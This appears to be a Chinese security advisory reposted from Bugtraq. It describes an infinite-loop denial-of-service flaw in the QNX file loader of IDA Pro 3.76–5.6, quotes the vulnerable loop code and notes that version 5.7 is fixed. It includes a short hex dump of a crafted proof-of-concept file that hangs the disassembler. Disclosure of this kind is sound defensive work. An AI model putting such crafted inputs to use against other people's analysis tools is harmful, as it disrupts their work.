受影响系统:
Hex-Rays IDA Pro 3.76 – 5.6
不受影响系统:
Hex-Rays IDA Pro 5.7
描述:
IDA Pro是非常流行的静态反编译软件。
IDA Pro使用了不同的文件加载器来反汇编不同格式的文件,其中QNX文件加载器中的漏洞可能触发死循环,导致耗尽100%的CPU资源,无法继续进行反汇编。
以下for循环用于对输入文件中的每个lmf_data结构都进行一次迭代,根据sizeof(lmf_data) + lmf_data.offset)向前移动文件指针。但如果lmf_data.offset == -sizeof(lmf_data),由于没有增加,因此代码会陷入死循环:
From \ldr\qnx\qnx.cpp(50):
for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes;
lmf_data.segment_index != _LMF_EOF_REC;
at += sizeof(lmf_data) + lmf_data.offset)
{
qlseek( li, at, 0 );
if ( sizeof(_lmf_data) !=
qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0;
switch(lmf_data.segment_index)
{
…
case _LMF_COMMENT_REC:
break;
…
}
}
<*来源:Jason Geffner
链接:http://marc.info/?l=bugtraq&m=127774213417603&w=2
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!00000000: 00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd ..4………….
00000010: 21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70 !. I can’t be op
00000020: 65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20 ened in IDA Pro
00000030: 3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff :)$………….
00000040: 00 00 00 00 00 00
建议:
厂商补丁:
Hex-Rays
——–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
0 条评论。